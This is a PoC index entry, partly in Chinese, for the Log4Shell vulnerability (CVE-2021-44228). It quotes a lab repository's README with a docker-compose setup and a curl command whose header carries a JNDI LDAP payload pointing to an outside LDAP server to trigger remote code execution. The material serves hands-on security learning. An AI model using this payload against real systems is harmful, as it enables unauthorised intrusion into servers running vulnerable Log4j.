CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source

https://github.com/ShlomiRex/log4shell_lab

Associated Vulnerability

Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇（Apache）基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞，攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器，当该请求被打印成日志时就会触发远程代码执行。

Description

CVE-2021-44228

Readme

# log4shell exploit lab

This repository is a single-line setup for log4shell exploit lab.

Setup the lab: `docker-compose up -d`

Run exploit: `curl -X GET http://localhost:8080/ -H "X-Api-Version: ${jndi:ldap://my_ldap_server:1389/a}"`

Then go to `vul` container and see that indeed we pwned the machine:

![](README-resources/Screenshot%202023-11-30%20205423.png)


* Video explaining the lab setup: https://www.youtube.com/watch?v=WBzR30JcT5g)
* Video explaining the code: https://www.youtube.com/watch?v=oRvp0c-fa1o

File Snapshot


 [4.0K]  /data/pocs/4571729616a09024fc6c5d1efc1c14c0899f2958
├── [4.0K]  CVE-2021-44228
├── [ 681]  docker-compose.yml
├── [4.0K]  log4shell_javaagent_monitor
├── [4.0K]  log4shell-vulnerable-app
├── [ 523]  README.md
└── [4.0K]  README-resources
    └── [ 53K]  Screenshot 2023-11-30 205423.png

4 directories, 3 files

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